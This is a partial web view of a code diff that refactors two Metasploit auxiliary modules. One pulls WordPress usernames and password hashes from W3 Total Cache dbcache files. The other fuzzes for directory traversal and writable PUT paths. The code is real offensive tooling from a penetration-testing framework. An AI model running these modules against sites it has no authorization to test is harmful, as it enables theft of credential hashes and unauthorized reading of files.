url = normalize_uri(wordpress_url, datastore["WP_CONTENT_DIR"], "/w3tc/dbcache")
|
||||
url << hash_path
|
||||
hash_path = normalize_uri(key_md5[0, 1], key_md5[1, 1], key_md5[2, 1], key_md5)
|
||||
url = normalize_uri(wordpress_url_wp_content, 'w3tc', 'dbcache', hash_path)
|
||||
|
||||
result = nil
|
||||
begin
|
||||
result = send_request_cgi({ "uri" => url, "method" => "GET" })
|
||||
result = send_request_cgi('uri' => url, 'method' => 'GET')
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
print_error("Unable to connect to #{url}")
|
||||
break
|
||||
|
@ -103,8 +107,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
break
|
||||
end
|
||||
|
||||
if result.nil? or result.body.nil?
|
||||
print_error("No response received")
|
||||
if result.nil? || result.body.nil?
|
||||
print_error('No response received')
|
||||
break
|
||||
end
|
||||
|
||||
|
@ -113,18 +117,18 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_good("Username: #{match[0]}")
|
||||
print_good("Password Hash: #{match[1]}")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => ssl ? "https" : "http",
|
||||
:user => match[0],
|
||||
:pass => match[1],
|
||||
:active => true,
|
||||
:type => "hash"
|
||||
host: rhost,
|
||||
port: rport,
|
||||
sname: ssl ? 'https' : 'http',
|
||||
user: match[0],
|
||||
pass: match[1],
|
||||
active: true,
|
||||
type: 'hash'
|
||||
)
|
||||
users_found = true
|
||||
end
|
||||
end
|
||||
end
|
||||
print_error("No users found :(") unless users_found
|
||||
print_error('No users found :(') unless users_found
|
||||
end
|
||||
end
|
||||
|
|
|
@ -59,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptString.new('PATH', [true, 'Vulnerable path. Ex: /foo/index.php?pg=', '/']),
|
||||
OptString.new('DATA', [false,'HTTP body data', '']),
|
||||
OptInt.new('DEPTH', [true, 'Traversal depth', 5]),
|
||||
OptRegexp.new('PATTERN', [true, 'Regexp pattern to determine directory traversal', '^HTTP/1.1 200 OK']),
|
||||
OptRegexp.new('PATTERN', [true, 'Regexp pattern to determine directory traversal', '^HTTP/\\d\\.\\d 200']),
|
||||
OptPath.new(
|
||||
'FILELIST',
|
||||
[
|
||||
|
@ -80,6 +80,18 @@ class Metasploit3 < Msf::Auxiliary
|
|||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
|
||||
# Avoids writing to datastore['METHOD'] directly
|
||||
def method
|
||||
@method || datastore['METHOD']
|
||||
end
|
||||
|
||||
# Avoids writing to datastore['DATA'] directly
|
||||
def data
|
||||
@data || datastore['DATA']
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# The fuzz() function serves as the engine for the module. It can intelligently mutate
|
||||
# a trigger, and find potential bugs with it.
|
||||
|
@ -101,7 +113,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
# Each possible trigger, we try to traverse multiple levels down depending
|
||||
# on datastore['DEPATH']
|
||||
depth = datastore['DEPTH']
|
||||
depth = datastore['DEPTH']
|
||||
triggers.each do |base|
|
||||
1.upto(depth) do |d|
|
||||
file_to_read.each do |f|
|
||||
|
@ -124,10 +136,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def ini_request(uri)
|
||||
req = {}
|
||||
|
||||
# If the user is using some rare-to-use method, we probably have not fully tested,
|
||||
# so we will not support it for now.
|
||||
method = datastore['METHOD']
|
||||
data = datastore['DATA']
|
||||
case method
|
||||
when 'GET'
|
||||
# Example: Say we have the following datastore['PATH']
|
||||
|
@ -135,8 +143,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
# We expect it to regex the GET parameters:
|
||||
# 'page=1&id=3¬e=whatever'
|
||||
# And then let queryparse() to handle the rest
|
||||
data = uri.match(/\?(\w+=.+&*)$/)
|
||||
req['vars_get'] = queryparse(data[1]) if not data.nil?
|
||||
query_params = uri.match(/\?(\w+=.+&*)$/)
|
||||
req['vars_get'] = queryparse(query_params[1]) if query_params
|
||||
when 'POST'
|
||||
req['vars_post'] = queryparse(data) if not data.empty?
|
||||
when 'PUT'
|
||||
|
@ -154,10 +162,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
this_path = uri
|
||||
end
|
||||
|
||||
req['method'] = datastore['METHOD']
|
||||
req['method'] = method
|
||||
req['uri'] = this_path
|
||||
req['headers'] = {'Cookie'=>datastore['COOKIE']} if not datastore['COOKIE'].empty?
|
||||
req['data'] = datastore['DATA'] if not datastore['DATA'].empty?
|
||||
req['data'] = data if not data.empty?
|
||||
req['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
|
||||
return req
|
||||
|
@ -217,7 +225,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
:proof => trigger,
|
||||
:name => self.fullname,
|
||||
:category => "web",
|
||||
:method => datastore['METHOD']
|
||||
:method => method
|
||||
})
|
||||
|
||||
else
|
||||
|
@ -281,15 +289,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
#
|
||||
def is_writable(trigger)
|
||||
# Modify some registered options for the PUT method
|
||||
tmp_method = datastore['METHOD']
|
||||
tmp_data = datastore['DATA']
|
||||
datastore['METHOD'] = 'PUT'
|
||||
tmp_method = method
|
||||
tmp_data = data
|
||||
@method = 'PUT'
|
||||
|
||||
if datastore['DATA'].empty?
|
||||
if data.empty?
|
||||
unique_str = Rex::Text.rand_text_alpha(4) * 4
|
||||
datastore['DATA'] = unique_str
|
||||
@data = unique_str
|
||||
else
|
||||
unique_str = datastore['DATA']
|
||||
unique_str = data
|
||||
end
|
||||
|
||||
# Form the PUT request
|
||||
|
@ -302,8 +310,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
send_request_cgi(req, 25)
|
||||
|
||||
# Prepare request to read our file
|
||||
datastore['METHOD'] = 'GET'
|
||||
datastore['DATA'] = tmp_data
|
||||
@method = 'GET'
|
||||
@data = tmp_data
|
||||
req = ini_request(uri)
|
||||
vprint_status("Verifying upload...")
|
||||
res = send_request_cgi(req, 25)
|
||||
|
@ -316,7 +324,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
# Ah, don't forget to restore our method
|
||||
datastore['METHOD'] = tmp_method
|
||||
@method = tmp_method
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -324,16 +332,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
# This is used in the lfi_download() function
|
||||
#
|
||||
def load_filelist
|
||||
f = File.open(datastore['FILELIST'], 'rb')
|
||||
buf = f.read
|
||||
f.close
|
||||
return buf
|
||||
File.open(datastore['FILELIST'], 'rb') {|f| f.read}
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
# Warn if it's not a well-formed UPPERCASE method
|
||||
if datastore['METHOD'] !~ /^[A-Z]+$/
|
||||
print_warning("HTTP method #{datastore['METHOD']} is not Apache-compliant. Try only UPPERCASE letters.")
|
||||
if method !~ /^[A-Z]+$/
|
||||
print_warning("HTTP method #{method} is not Apache-compliant. Try only UPPERCASE letters.")
|
||||
end
|
||||
print_status("Running action: #{action.name}...")
|
||||
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue